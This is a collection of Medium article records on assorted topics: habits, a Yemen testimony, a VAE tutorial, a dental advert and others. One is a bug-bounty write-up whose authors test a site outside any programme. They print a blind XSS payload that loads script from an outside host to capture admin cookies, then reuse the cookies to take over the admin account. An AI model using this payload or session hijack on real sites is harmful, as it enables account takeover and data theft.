Rose is contemplating the value that is place on Indian life. This language is more confrontational but necessary in order to extend a point. Her audience, like Malcolm X’s audience, appeals to her people. This allows both speakers to speak more honestly and aggressively. They can cross the lines of civility because they are further from slavery and emboldened. Also, both cultures give license to being more forthcoming. Malcolm X had a distrust of whites and did not mince his words when placing blame where he thought it was necessary. This is in deep contrast to Fredrick Douglass’ approach although they shared the same ideals. Where Douglass and Alexie left room for negotiation, less was true of Malcolm and Rose. He even felt that liberals were full of hypocrisy as well. Malcolm asserts, “Snakes couldn’t have turned on me faster than a liberal. Yes, I will pull off that liberal’s halo that he spends so much efforts cultivating!” (271)
Here Malcolm sets up a wall. This wall states that, we have a problem, and nothing can be done about it essentially except the white man denouncing the system he set up and both sides go to their corner. Unfortunately, due to white integration that produced children from the onset, it is both physically and spiritually impossible.
Lastly, for the non-white academic that desires to forge her own path because she is straddling two worlds, Gloria Anzaldua, decides to make a menudo of the situation. In her own sobering and insightful language, she is the most persuasive and honest. She is completely herself and she is representative of the many masks she has to wear in order to excel and exist in society. Anzaldua writes, “We are going to have to control your tongue.” (1585) It is interesting that How to Tame A Wild Tongue could be asked of all the writers. How do you tell the truth quietly and unmessily? You can’t. It is impossible to appease all groups. However, the truth is always a unifier even if the language appears to be adversarial on the surface. The truth is due to colonization we are all connected and simply trying to salvage a homeland that is in essence no one’s birthright if not the birthright of all.
Works Cited
Bizzell, Patricia, and Bruce Herzog editors. “The Rhetorical Tradition: Readings from Classical Times to the Present.” 2nd. Edition., Bedford/St. Martins, 2001.
Alexie, Sherman. “13/16 and Crazy Horse Speaks.” The Business of Fancydancing: Stories and Poems. Hanging Loose Press, 1992.
Rose, Wendy. “Three Thousand Dollar Death Song.” Lost Copper. Malkim Museum Press, 1992.
X, Malcolm, and Alex Haley. The Autobiography of Malcolm X. New York: Grove Press, 1965. Print. | https://medium.com/@chiarawritesit/a-thin-white-line-runs-through-it-fc6024243652 | ['Chiara Atoyebi'] | 2020-12-21 20:40:53.391000+00:00 | ['Bipoc', 'Civil Rights', 'Healing', 'Human Rights'] |
The Habit Loop of Bad Habits | The Habit Loop of Bad Habits: Why we Form Maladaptive Behavior Patterns, Keep them Going, and Struggle to Change
Take the time to learn the neuroscience behind how your mind works in order to understand yourself better, be more self-compassionate, and be more likely to make positive changes that stick. Becky Searls Follow Dec 26, 2020 · 10 min read
Christmas has come and gone. Now for the somewhat depressing, post-holiday letdown of the week before a New Year begins.
Perhaps your thoughts are turning toward the future and how you’d like 2021 to be different. Maybe you, like many people, are overwhelmed with pandemic fatigue along with the normal stressors of daily life and are trying to think of a New Year’s Resolution you can actually stick to?
Or, maybe you don’t do the whole NYE resolution thing, but you know, thinking back over 2020, that some things in your life need to change moving forward.
Wherever you’re at mentally and emotionally as we come to the close of a difficult year, is 100% valid. It’s been a long, hard slog. Be sure to take a moment to appreciate all you’ve gone through, good and bad, celebrate your wins, and perhaps dream a little about your future as you reflect on what you wish had been different!
If you’re anything like me, you probably have a few bad habits that you’ve picked up over time. Some of them may have been with you for so long you can’t even remember when or why they started. You may even identify with your habits to the point that they have become who you are in a sense (are you a runner? a cyclist? a productive person? lazy? an early riser? a coffee, wine, or chocolate addict? someone who bites their nails or pops their pimples?)
Habits can be a really good thing. Our brains are set up to learn based on rewards, and thank goodness for that! Imagine if we did not have habits for our daily routines. Imagine if each and every day you had to re-learn how to get up, shower, brush your teeth, get dressed, make coffee or breakfast, and tie your shoes. You would be utterly exhausted by noon if you didn’t have the capacity to automate the majority of your daily behaviors. Habits allow us to free up mental bandwidth and energy for other, more important tasks.
But, sometimes we develop bad habits. How does this happen? Well, we develop maladaptive habits in the exact same way that we learn a neutral or a good habit. We learn a short-term solution to a problem, and our brains file it away. Then, we find ourselves going back to those behaviors and repeating them. If we don’t become aware enough to realize that these behaviors were only ever meant to be short term behaviors, they can become long term habits.
Even our mental patterns like anxiety or anxious thinking can become a habit. This is because our brains form associations quickly. For example, perhaps at one point as a child, you had to take a test in school. You felt anxious about it, took the test, but then got a decent grade on it. The grade was a reward that resulted in your brain releasing some dopamine, a feel-good neurotransmitter.
Because our brains are wired to form associations, based on the past, our brain predicts the future. Evolutionarily, our habits probably formed very early on as a way to find food (eat food — remember the sweet taste (reward) /where you found it— stay alive). So, our brains try to remember past behaviors, thoughts, or feelings and associate them with outcomes.
If outcomes are positive (e.g. a good grade) then we think that the association with the feeling, thought or behavior you had around the time of the action (e.g. feeling anxious or nervous) caused that outcome. This leads us to create (often untrue or simply unhelpful) habits of thinking or doing. We may even think something like “my anxiety is what drives me to be so successful”, but this isn’t necessarily helpful or true. It’s just your brain trying to find a pattern and replicate it.
It’s helpful to know that this is how your brain works, because if you can become aware of the way your brain forms associations — helpful or not — you can break the correlation, and, if you keep strengthining the mental muscle of awareness, you can become disenchanted with your bad habits, and, eventually, replace wthem with something better.
So why do we keep doing things that are bad for us?
Our brains are pattern recognition machines. That’s part of why we form associations and continue to play out habits that may or may not be good for us. But there’s more to it than that. Our brains are also trying to protect us and simply don’t like change. And, our brains are very aware of anything new or different (again, going back to evolutionary reasons, perhaps because anything new or different in our environment may have been a sign of danger and something to avoid).
These days, however, we are more likely to be engaging in bad habits that don’t serve us. So, we may go to make a change, but our brains, still wired to be hyper-vigilant and aware of any difference, resists that change and tries to intervene and keep things the same, telling us:
“Hey! Don’t do that — stick with what you know! It’s safer!”
In this way, we often end up sticking with our old habits, even if they are outdating or no longer serving us. Any time we try to change a habit, it can be pretty uncomfortable. It’s worth noting that all change is stressful — even good change. Sometimes good changes are especially stressful! For example, the birth of a child. On the one hand, most people say the day their children are born is the most joyful day of their lives. But, research shows a huge dip in happiness and marital happiness around this same time. So, again, it’s helpful to just know that this is just how your brain works: all change, even good change, is stressful. And stress is naturally uncomfortable. So, our brains resist change, even changes that are actually good or healthy for us. Our minds are just trying to protect us, even if sometimes they’re somewhat misguided in how they go about it.
There’s an interesting study called “Sad as a matter of choice?” by Millgrim, et al (2015) that suggests a possible explanation for why we might keep choosing to live out bad habits. Researchers studied people with and without depression. and assessed how they chose to regulate their emotions. First, they gave them pictures and then gave them choices in music. For both of these options, depressed participants were more likely than nondepressed people to choose sad pictures and music that maintained or increased their level of sadness. Next, they taught all participants emotion regulation strategies, and then gave them a choice of which strategies to apply. Even armed with education on emotion regulation, the depressed individuals were more likely to choose strategies that kept them feeling sad.
Why would this happen? The researchers speculated that the findings demonstrate that choosing maladaptive emotion regulation patterns (essentially a bad habit / pattern of thinking) was a way for the depressed individuals to validate themselves.
So, essentially it all goes back to our brain’s desire to resist change, even good or positive change, and stick with what it knows, what’s familiar, and what it thinks is safest for us. But, knowing this, we can bring awareness to our bad habits and realize that this is just how our brains work. If we do anythign enough, it can become a habit. Then, we identify with our habits — good or bad — and they become who we are.
So, of course it’s going to be hard to change a bad habit. Because you’re really not just changing a habit, you’re changing who you are.
So is it impossible to break a bad habit? How do I change?
Good question. It’s not impossible to break a bad habit, but it is definitely the case that we tend to go way too fast when setting goals, resolutions, and trying to make changes.
New Year’s is the perfect example.
On January first, people often decide that in the space of 24 hours, they are going to overhaul habits that have been with them for a lifetime. They’re going to suddenly go from smoker to nonsmoker, sedentary to someone who works out every day, overeating to restricting, or whatever else, overnight.
This is destined for failure. Not because these are bad goals (although some of them might need some tweaking). These changes are destined not to stick because we skip over a very important stage of habit change.
There are basically 3 parts to habit loops: trigger-behavior-reward
For example:
feel hungry — eat food— stay alive
feel anxious — eat chocoate — feel relief
feel anxious — breathing practice — feel relief
feel stressed — call a friend — feel better
feel restless — exercise — feel calmer
Some of these are better habit loops than others. By “better” in this case I just mean more adaptive and more available to you at any time. For example, while eating chocolate does often provide short-term relief from a moment of anxiety, learning and practicing various breathing techniques can provide a better way to unwind because it’s always available to you internally.
The trick to true habit change is to become aware of your habit loops (trigger-behavior-reward) and to realize that sometimes the “reward” is not what you thought it was. Sometimes it’s helpful to think of the reward as jus the outcome of the behavior. It’s not necessarily positive.
For example:
Feel anxious — chew your fingernails — feel ashamed and regretful
It’s important to stop and ask yourself:
“What did I get from this?”
after a negative habit loop plays out. This can be really hard to do at first, because we are often on autopilot, acting out bad habits automatically (that is, after all, what habits are for — automating actions to free up brain space).
It can take a lot of practice to get curious enough to pause and ask yourself “What did I get from this?” And to stay in that uncomfortable spot, which is often were shame shows up, and really be thoughtful.
But, that spot, that incredibly uncomfortable, shame-filled, regretful moment after you engage in a bad habit — that’s the key to becoming disenchanted with your bad habit(s).
Don’t rush this process. If possible, find a mirror, make eye contact with yourself, and ask again: “What did I get from this?” You may also want to journal to get clarity.
Often times the bad habits we’ve developed were short term solutions that provided much-needed relief during a difficult moment. Our brains remembered the relief, formed an association, and we repeated the behavior the next time a similarly challenging moment came up for us.
Over time, our short term solutions became long term problems. This is completely understandable and normal. What’s more, once we understand that this is just how our brains work, we can be more compassionate and gentle with ourselves. Instead of beating ourselves up for once again messing up or failing we can realize “wow, I really don’t get anything from this…other than more pain, grief, shame, or anxiety.”
Only once we really understand how our brains work and that the key to habit change is to first become disenchanted with our bad habits can we start to change. So, to bring this post full circle, let’s summarize:
1) we learn habits to be more efficient — and habits can be very helpful!
2) brains find and make associations (like linking anxiety to performance) — which may not be true or helpful.
3) our brains don’t like change and alert us to changes in routine — even good changes — and send up stress and resistance signals.
4) often our short-term solutions become long-term maladaptive patterns of behavior that are problematic. Spending time to slow down and ask ourselves what we get from those behaviors allows us to become more disenchanted with them, which paves the way for change. | https://medium.com/better-better/the-habit-loop-of-bad-habits-why-we-form-maladaptive-behavior-patterns-keep-them-going-and-612fd44d3aeb | ['Becky Searls'] | 2021-01-14 01:51:06.806000+00:00 | ['Neuroscience', 'Growth Mindset', 'Reflections', 'Habits', 'Mindfulness'] |
KILL THE TRUST INSIDE | Anyone can kill when emotions start to fill, Every thought of never to harm goes downhill, Only the intended target in mind stands still, The courage to dive in action already a swallowed pill, Locating the victim creating maps drawn by the ill, The killer in motion searching heart pounding like drill, the tiny bit of fear often later turns to thrill, Inspired by the accomplished mission of a life planned to steal, Bodies without life reminds the suspect of escape’s reveal, Being caught and punished causing the want to conceal, Depending on the scene adds up the time remaining to cover like seal, Suspects of evil rarely caring of this ordeal, Leaving the innocent’s remains exposed purposely without a shield, Hoping to see the story on the news by dinner during meal, Making them proud of giving unknown viewers fear and chills. These type that murder named serial but the kind that doesn’t spill, I’m not talking about those, I mean the ones with normal appeal, This group certainly worse because they blend with normality surreal, How do you protect all from those trusted painting plans soon to peel, Always the one nobody imagines or even thinks they’d ever yield, Every time they find out after yellow tape surrounds a field, The only person no one thought to be front page news by murder mill, Second thoughts and disbelief come’s instantly then later brings until, You’ve pondered all the facts and habits formerly seen as usual strikes unreal, Automatically your instinct to trust all others so easily stack like bills, Enabling you to height your senses this process drives your second thoughts uphill, The heart beat inside you pounds every beat you feel, Not everyone gets a second chance before the will, More of us need to keep the thought “I could be next” on refill, since there is no clock showing us our death is a quarter till, Most importantly every humans deck’s not playing with cards that give us deal, Being alert and observant can save our loved ones from a cemetery kneel, too nice too often the path down a barrel pointing a light too real, held by the known who pulls and off goes alive, as they roll away on wheels. | https://medium.com/@poetta-iretta/kill-the-trust-inside-8cb661049d84 | ['Mrz Bernal'] | 2020-11-24 17:07:27.292000+00:00 | ['Trust', 'Unexpected', 'Protection', 'Forgiveness', 'Intentions'] |
How an incident gave us $$$ bounty. | Hello peeps 🐥.
This blog-post is from Viren Pawar and Pritesh Mistry, about our last critical finding on one of the public websites which is neither on HackerOne nor on BugCrowd or any BB platform 😀.
Note: This write-up will not entertain professionals, it’s just a normal write-up for beginners and newbie’s in our community, because sharing is caring.
So, welcome to the Info-Sec community guys, where our first concern should be providing security and making system bug-free. As this job is very skill demanding, many companies pays for the security being provided by you, commonly referred as Bounty💰.
Starting about the target, we will not name out the website as he didn’t wish to disclose his website in our write-up. Continuing, it is a website offering “Firmware” of several smart gadgets. It was just an incident with me, that while rooting my android device for pentesting, it failed and stuck at bootloader screen. After googling a lot, I encountered a site which was offering the same version I was in need. But that site asked for $2.99 to subscribe and then download firmware.
But I was bit scared that will this firmware work or not. Is this website legit or just a scam? So I started roaming around the website. As usually I try for XSS in search bar and it popped 😍 . Then, me and Pritesh, both of us started to PWN this website for just a $3 firmware 😅😂.
As this website was not in any scope for hunting, our aim was to get that firmware and not any bounty, but as a responsible tester, we mailed him that some vulnerabilities are present on your site. Within an hour, we saw a reply.
Hi, what vulnerability you are talking about?
And we were like, NICE 🤩 ! Whoever the owner/manager is, he/she is positive and interested in knowing vulnerabilities. So we started testing each and every page of website. We found several vulnerabilities: Reflective XSS in Search Bar and Stored XSS in profile section, in-order comments. But as our personal aim was to get firmware, I was potentially in find of SQLi. However, we couldn’t find one 😢.
Generally, XSS are P2/P3 level of bugs and this was a private site whose priority is the resulting impact, not P1/P2.. classification of bugs. When we were about to leave from this testing, Pritesh asked me to use XSSHunter to check Blind XSS. I also came to know about Blind XSS for first time.
Blind XSS, referred as BXSS is the same XSS, but in this payload we don’t use alert() or confirm(), we try to execute our JS code and the victim must not be known of this.
So we used our Blind XSS payload "><script src=https://myhandle.xss.ht></script> and were waiting for notification from XSSHunter. (XSSHunter mails you when our payload gets fired)
Within an hour, I got mail from XSSHunter and here it is:
Okay, so this was fired from admin login as we can see the path from which Blind XSS had fired. In this report mail of XSS Hunter, we got almost all juicy information like “Vulnerable Page URL, Victim’s IP Address, Referrer to that page, User-Agent, ♥ COOKIES ♥ , Injection point, DOM of that instance, Screenshot”. Screenshot is attached below:
(Blurred on demand)
Now it’s confirmed that the details in report were of “Administrator”, so to confirm this exploit, I tried to visit the admin page with cookies mentioned in report. And BOOM! I was logged in 😍. I was able to iterate whole site, in details: add/update/delete files, manage users, view billing system (merchant API configuration), view CRON jobs, view Dashboard, and all other administrative actions.
Okay so scenario was like, all our flooded Blind XSS made the developer in action to disable my account. He searched my email in users list, open my profile. Here, at this point in address section of my profile we had my payload already injected. The moment he opened my account, XSS was fired.
What next? After confirming everything I wrote up a nice report with POC stating all vulnerabilities caught by us. Starting from Reflective XSS to Admin Account Takeover. But as the administrator disabled my account thinking me as a bad guy, in my vulnerability report before starting report I explained the administrator that I am not a bad guy, I was a security researcher, and the mail was genuine vulnerability disclosure. Within an hour this was his reply.
For next 9 days, we communicated about fixation of this bugs, tried to bypass their fixes, found new bugs, reported them and so on. Other reported bugs were “Open Redirection” on 2 different end points and one lovely as well as handsome ❤ SQL INJECTION ❤.
This is an example for me, that not every vulnerability get tested by us at a time, and testing the same system again after fixes may open doors to other bugs. The moment I got SQL Injection, reported 2 Open Redirection and a SQL Injection on the go.
But for their data privacy and being a ethical tester, I didn’t explore their database further. I just confirmed SQL Injection. (I advice same to you) | https://medium.com/@virenpawar/how-an-incident-gave-us-bounty-982b432be6f1 | ['Viren Pawar'] | 2019-12-20 11:18:46.355000+00:00 | ['Security', 'Collaboration', 'First Post', 'Infosec', 'Bug Bounty'] |
The Process | The boys were up at 5:30 to draw, so I consider them artists. They produced works; they drew pictures. Maybe it was just scribbles on the page for now, but they are falling in love the work, with what they are creating — that’s what artist do.
They are not worried or concerned about reaching a goal. The boys have no expectations for a gallery opening, or if their work will ever sell. They are just drawing and coloring because they enjoy it. They enjoy the process of doing it. When that love is nurtured; if they choose to show up, to draw, to learn techniques to get better, and embrace their style; they will find success in what they do right now; enjoying and creating the work, not some outcome determined by the world. They won’t need someone else’s approval.
It’s in the process we find a love for what we do, not in the completion. The work is never actually done. We are always growing, learning, experimenting in the process to fine-tune the results. By the time one ‘work’ is completed, it’s time to try another, a different way, with a different tone, a new outlook, taking the skills you just learned and trying again.
It’s ok to be exactly where you are at, and it’s ok to strive to get better. The Process is about right here and right now. Are we showing up? Are we doing the work? Are we getting better every time? Can we keep our attention on the action of this moment and doing our best job here, rather than mind-traveling to a completion. The work is never done, it’s always right here, it’s still right in front of us.
…
Every year we host a theme in our business. It’s a fun way to bring in a new attitude and thinking process into our company for the year. We celebrate it with handouts, new t-shirts, and signs in our business. It’s also our belief that businesses have the opportunity to impact people beyond just the products or services they sell. This is our way to help live our purpose-
Making Everything We Touch Better; People and Concrete
To see all of your yearly themes visit: https://nickdancerconcrete.com/yearly-themes/ | https://medium.com/@nicholasdancer/the-process-8dce7c3958d5 | ['Nicholas Dancer'] | 2019-04-12 23:09:30.552000+00:00 | ['Art', 'Process', 'Leadership', 'Work', 'Business'] |
Anger Wisdom, Part II: Anger Insight | What IS Anger?
People yelling at each other
Beer cans smashed on tables
Fistfights
When you think of anger, what immediately comes to mind? Insight? I doubt it. Chairs thrown through windows? People out of control? Someone getting shot in the face? Obscenities screamed? We often get those scary pictures of anger. So we shrink away from it. We miss out on anger wisdom and insight.
None of these scary pictures is actually anger. But most people, including most mental health professionals and journalists, misunderstand anger insight.
Anger happens privately, in the body, like a reflex, in response to a threat or insult to our well-being. Anger also happens when we observe others being hurt. It may only last an instant, but anger brings relaxation (yes, a release of tension) in the muscles of the body and a mental clarity about the facts. Anger allows a certain kind of knowledge; blinders come off for a bit, and we see details we’d not seen before. We get a flash of insight.
But notice, all these aspects of anger take place inside the person who is experiencing the emotion. If you aren’t observing closely, you might miss them altogether. Yet we all experience this flash: anger is universal.
. . . | https://medium.com/@coxhulgus/anger-wisdom-part-ii-anger-insight-e2ebdb8afb52 | ['Deborah Cox'] | 2020-08-07 22:48:16.289000+00:00 | ['BlackLivesMatter', 'Angerwisdom', 'Anger'] |
Dental Trendz — Best Dental Clinic in Bhankrota Jaipur | Now Dental Trendz is the best dental clinic in your city, Bhankrota Jaipur. We provide the best dental care services to our patients. We treat our patients with respect and listen carefully. Patients can take the decision according to their needs and budget. Get rid of dental disease with our high-tech dental equipment and materials, we provide painless and comfortable dental treatment to our patients. We provide treatment of all dental diseases:- Dental Implants, Root Canal Treatment, Surgical Extraction, Dental Crown & Bridge, Full Mouth Dental Reconstruction, Cosmetic Dental Treatment, and General Dentistry. We assure you of satisfying and caring for your beautiful smile.
Dr. Peeyush Sharma is Director (Dental Trendz) in Rawal hospital. Consultant Oral and Maxillofacial surgeon ( M.D.S ), Head and neck oncosurgeon. He Completed his B.D.S. from Mahatma Gandhi Dental College and Hospital, Jaipur in 2011 and Post Graduation, M.D.S. in Oral and Maxillofacial Surgery from Mahatma Gandhi dental college and hospital, Jaipur. Later on, He completed his fellowship in Head and neck oncosurgery and reconstructive surgery from Manavata cancer hospital, Nashik, Maharashtra. He has specialized in the treatment of Head and neck cancer, Maxillofacial Traumas (Road Traffic Accidents), Maxillofacial Cysts & Tumours, Facial Reconstruction, Cosmetic Surgeries, Dental Implants.
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Phone: +91–9829044807 | https://medium.com/@dentaltrendz/dental-trendz-best-dental-clinic-in-bhankrota-jaipur-a23422451994 | [] | 2021-10-28 10:00:16.045000+00:00 | ['Dentistry', 'Root Canal Treatment', 'Hospital', 'Best Dental Clinic', 'Doctors'] |
正確的比特幣、虛擬貨幣投資心態 | in Both Sides of the Table | https://medium.com/mibinews/%E6%AD%A3%E7%A2%BA%E7%9A%84%E6%AF%94%E7%89%B9%E5%B9%A3-%E8%99%9B%E6%93%AC%E8%B2%A8%E5%B9%A3%E6%8A%95%E8%B3%87%E5%BF%83%E6%85%8B-836c16ae88ef | [] | 2018-04-12 10:59:30.077000+00:00 | ['Investment', 'Bitcoin', 'Ethereum', 'Cryptocurrency', 'Tools'] |
No Woman Should Cry Again, Not The Way I Did — My Life as a Yemeni Woman | A country in war is not a safe place for anyone, especially women — they are the most to suffer and the last to fall.
I still remember the amount of fear, oppression and humiliation that day brought. I cried so hard — I was terrified.
When war first escalated in 2015, I was living happily with my family in Taiz city. It saddens me how the city I loved, the city that holds all my memories since I was a child turned overnight into a ghost town full of death and fear.
Bombs fell everywhere
It all started with a bright blue spark that lit up the sky and invaded our houses and the rooms we hid in silently before we heard the crack. That was the first missile to hit nearby.
After that many bombs fell everywhere, we thought it could be our house any minute. We tried not to panic but panic was all we could feel.
I still remember that blue light like a nightmare I never imagined coming true and that I would have to live through with the ones I love.
The next day I went to a friend’s house to say goodbye. She was travelling abroad. We could hear tanks in the streets nearby, roads were blocked, and we were trapped inside her house, away from our families who kept calling to check if we were okay.
I won’t forget the terror in the children’s eyes, my friends’ brothers and sisters who were with us. I remember vividly the heavy sounds of gun fire and tanks screeching just a few kilometers away.
We were trapped for 3 days, inside the house, there was no one else with us, just women and children hiding across the stairs, away from windows. We managed to survive with the limited food available for us all.
“I cried so hard”
I still remember the amount of fear, oppression and humiliation that day brought. I cried so hard, I cried and cried, all along the way back. I was terrified!
That day was sadly just a warning of what was to come — the feelings of fear, paralysis and vulnerability.
And five years later, that feeling of being trapped is one I and other Yemeni women feel constantly.
What I and others do strive to do though, is to fight that feeling and do all that is in our power to lead, to help others, and to feel hope that this conflict will end, and our lives can return to normal. | https://medium.com/@oxfam/no-woman-should-cry-again-not-the-way-i-did-my-life-as-a-yemeni-woman-ac8cbcafbe13 | ['Oxfam International'] | 2020-03-11 18:08:41.864000+00:00 | ['War', 'Survival', 'Oxfam', 'Yemen', 'International Women Day'] |
Coinbae Security Audits | Coinbae Security Audits
Coinbae security audits aims to mitigate security risks with high quality yet affordable smart contract audits. CoinBae Follow Dec 15, 2020 · 3 min read
Coinbae security audits.
2020 and what it means for crypto
With the rise of decentralized financial infrastructure (DeFi) and billions being poured into the industry during 2020, so too has there been a rise in attacks on the smart contracts that they rely on. Hackers look for errors, flash loan attackers exploit flaws and even more unsettling; the infamous rug pull. Anonymous teams exploiting eager investors that don't want to miss out on the hype and opportunity intentionally create backdoors in their contract through which they can syphon the invest coins. These were not isolated incidents, they seemed to be the norm with big and small DeFi projects succumbing to one or another attack, hack, exploit or simply a rug pull.
What has become evident is that there needs to be a better way to build trust in the contracts users are investing in.
Make smart contracts safe again.
Why aren’t contracts audited?
If we have a quick look at market data providers like coingecko.com and Coinmarketcap.com(CMC), we will notice that there is a lack of audit reports on many yield farms for example, with CMC not reporting on the status of audit reports all together(at the time of this writing). What is notable on the contracts listed by Coingecko is a relative lack of audits with only a few having audits and most yield farms coming out without a audited pool for months prior to getting their deployed contract audited. Projects that do attract large amounts of investors eventually do get their contract audited since it is seen as a stamp of approval. This begs the question however that if audited contracts are advantageous to projects since it inspires confidence; why not didn't they audit the contract prior to launching and starting a marketing campaign?
After consulting various projects about their hesitance to audit their smart contracts Coinbae came to the conclusion that for the majority of Defi projects, the price point for a security audit is simply unattainable given that many projects in the Defi space for example have multiple contracts, making the expense even more burdensome.
The nature of Defi is a peculiar one. On the one hand a truly decentralized financial system that is free from borders, strings or oversight, one that allows anyone from anywhere to participate with the click of a button. And fostering the creativity needed to do so sometimes does require anonymity, the very nature of Bitcoin’s inception was not dissimilar. However, this also poses risks and ultimately most people don’t have the time or knowledge to scrutinize every new contract when making an investment decision.
Coinbae contract audits
Given the current situation and the evidence at hand Coinbae proposes a solution that does not raise the bar of entry for creative blockchain thought and innovative projects. Instead it gives new and rising projects the opportunity to get their contracts audited whilst at the same time creating a layer of trust for the user.
Coinbae team.
The team.
Coinbae’s team consists of a number of cryptocurrency and security specialists. Coinbae security’s team lead, Eelko Neven, has more than 12 years’ experience as a professional security auditor/code reviewer and performed over 1500 audits, among them Google, Twitter and General Electric.
For inquiries: [email protected]
For a full list of our audits please visit:
www.coinbae.org/audit/
https://twitter.com/Coinbae | https://medium.com/coinmonks/coinbae-security-audits-3084c95c7bab | [] | 2021-01-27 15:38:02.928000+00:00 | ['Ethereum', 'Smart Contracts', 'Defi', 'Cryptocurrency', 'Smart Contract Auditing'] |
Understanding Variational Autoencoders (VAEs) | Mathematical details of VAEs
In the previous section we gave the following intuitive overview: VAEs are autoencoders that encode inputs as distributions instead of points and whose latent space “organisation” is regularised by constraining distributions returned by the encoder to be close to a standard Gaussian. In this section we will give a more mathematical view of VAEs that will allow us to justify the regularisation term more rigorously. To do so, we will set a clear probabilistic framework and will use, in particular, variational inference technique.
Probabilistic framework and assumptions
Let’s begin by defining a probabilistic graphical model to describe our data. We denote by x the variable that represents our data and assume that x is generated from a latent variable z (the encoded representation) that is not directly observed. Thus, for each data point, the following two steps generative process is assumed:
first, a latent representation z is sampled from the prior distribution p(z)
second, the data x is sampled from the conditional likelihood distribution p(x|z)
Graphical model of the data generation process.
With such a probabilistic model in mind, we can redefine our notions of encoder and decoder. Indeed, contrarily to a simple autoencoder that consider deterministic encoder and decoder, we are going to consider now probabilistic versions of these two objects. The “probabilistic decoder” is naturally defined by p(x|z), that describes the distribution of the decoded variable given the encoded one, whereas the “probabilistic encoder” is defined by p(z|x), that describes the distribution of the encoded variable given the decoded one.
At this point, we can already notice that the regularisation of the latent space that we lacked in simple autoencoders naturally appears here in the definition of the data generation process: encoded representations z in the latent space are indeed assumed to follow the prior distribution p(z). Otherwise, we can also remind the the well-known Bayes theorem that makes the link between the prior p(z), the likelihood p(x|z), and the posterior p(z|x)
Let’s now make the assumption that p(z) is a standard Gaussian distribution and that p(x|z) is a Gaussian distribution whose mean is defined by a deterministic function f of the variable of z and whose covariance matrix has the form of a positive constant c that multiplies the identity matrix I. The function f is assumed to belong to a family of functions denoted F that is left unspecified for the moment and that will be chosen later. Thus, we have
Let’s consider, for now, that f is well defined and fixed. In theory, as we know p(z) and p(x|z), we can use the Bayes theorem to compute p(z|x): this is a classical Bayesian inference problem. However, as we discussed in our previous article, this kind of computation is often intractable (because of the integral at the denominator) and require the use of approximation techniques such as variational inference.
Note. Here we can mention that p(z) and p(x|z) are both Gaussian distribution. So, if we had E(x|z) = f(z) = z, it would imply that p(z|x) should also follow a Gaussian distribution and, in theory, we could “only” try to express the mean and the covariance matrix of p(z|x) with respect to the means and the covariance matrices of p(z) and p(x|z). However, in practice this condition is not met and we need to use of an approximation technique like variational inference that makes the approach pretty general and more robust to some changes in the hypothesis of the model.
Variational inference formulation
In statistics, variational inference (VI) is a technique to approximate complex distributions. The idea is to set a parametrised family of distribution (for example the family of Gaussians, whose parameters are the mean and the covariance) and to look for the best approximation of our target distribution among this family. The best element in the family is one that minimise a given approximation error measurement (most of the time the Kullback-Leibler divergence between approximation and target) and is found by gradient descent over the parameters that describe the family. For more details, we refer to our post on variational inference and references therein.
Here we are going to approximate p(z|x) by a Gaussian distribution q_x(z) whose mean and covariance are defined by two functions, g and h, of the parameter x. These two functions are supposed to belong, respectively, to the families of functions G and H that will be specified later but that are supposed to be parametrised. Thus we can denote
So, we have defined this way a family of candidates for variational inference and need now to find the best approximation among this family by optimising the functions g and h (in fact, their parameters) to minimise the Kullback-Leibler divergence between the approximation and the target p(z|x). In other words, we are looking for the optimal g* and h* such that
In the second last equation, we can observe the tradeoff there exists — when approximating the posterior p(z|x) — between maximising the likelihood of the “observations” (maximisation of the expected log-likelihood, for the first term) and staying close to the prior distribution (minimisation of the KL divergence between q_x(z) and p(z), for the second term). This tradeoff is natural for Bayesian inference problem and express the balance that needs to be found between the confidence we have in the data and the confidence we have in the prior.
Up to know, we have assumed the function f known and fixed and we have showed that, under such assumptions, we can approximate the posterior p(z|x) using variational inference technique. However, in practice this function f, that defines the decoder, is not known and also need to be chosen. To do so, let’s remind that our initial goal is to find a performant encoding-decoding scheme whose latent space is regular enough to be used for generative purpose. If the regularity is mostly ruled by the prior distribution assumed over the latent space, the performance of the overall encoding-decoding scheme highly depends on the choice of the function f. Indeed, as p(z|x) can be approximate (by variational inference) from p(z) and p(x|z) and as p(z) is a simple standard Gaussian, the only two levers we have at our disposal in our model to make optimisations are the parameter c (that defines the variance of the likelihood) and the function f (that defines the mean of the likelihood).
So, let’s consider that, as we discussed earlier, we can get for any function f in F (each defining a different probabilistic decoder p(x|z)) the best approximation of p(z|x), denoted q*_x(z). Despite its probabilistic nature, we are looking for an encoding-decoding scheme as efficient as possible and, then, we want to choose the function f that maximises the expected log-likelihood of x given z when z is sampled from q*_x(z). In other words, for a given input x, we want to maximise the probability to have x̂ = x when we sample z from the distribution q*_x(z) and then sample x̂ from the distribution p(x|z). Thus, we are looking for the optimal f* such that
where q*_x(z) depends on the function f and is obtained as described before. Gathering all the pieces together, we are looking for optimal f*, g* and h* such that
We can identify in this objective function the elements introduced in the intuitive description of VAEs given in the previous section: the reconstruction error between x and f(z) and the regularisation term given by the KL divergence between q_x(z) and p(z) (which is a standard Gaussian). We can also notice the constant c that rules the balance between the two previous terms. The higher c is the more we assume a high variance around f(z) for the probabilistic decoder in our model and, so, the more we favour the regularisation term over the reconstruction term (and the opposite stands if c is low).
Bringing neural networks into the model
Up to know, we have set a probabilistic model that depends on three functions, f, g and h, and express, using variational inference, the optimisation problem to solve in order to get f*, g* and h* that give the optimal encoding-decoding scheme with this model. As we can’t easily optimise over the entire space of functions, we constrain the optimisation domain and decide to express f, g and h as neural networks. Thus, F, G and H correspond respectively to the families of functions defined by the networks architectures and the optimisation is done over the parameters of these networks.
In practice, g and h are not defined by two completely independent networks but share a part of their architecture and their weights so that we have
As it defines the covariance matrix of q_x(z), h(x) is supposed to be a square matrix. However, in order to simplify the computation and reduce the number of parameters, we make the additional assumption that our approximation of p(z|x), q_x(z), is a multidimensional Gaussian distribution with diagonal covariance matrix (variables independence assumption). With this assumption, h(x) is simply the vector of the diagonal elements of the covariance matrix and has then the same size as g(x). However, we reduce this way the family of distributions we consider for variational inference and, so, the approximation of p(z|x) obtained can be less accurate.
Encoder part of the VAE.
Contrarily to the encoder part that models p(z|x) and for which we considered a Gaussian with both mean and covariance that are functions of x (g and h), our model assumes for p(x|z) a Gaussian with fixed covariance. The function f of the variable z defining the mean of that Gaussian is modelled by a neural network and can be represented as follows
Decoder part of the VAE.
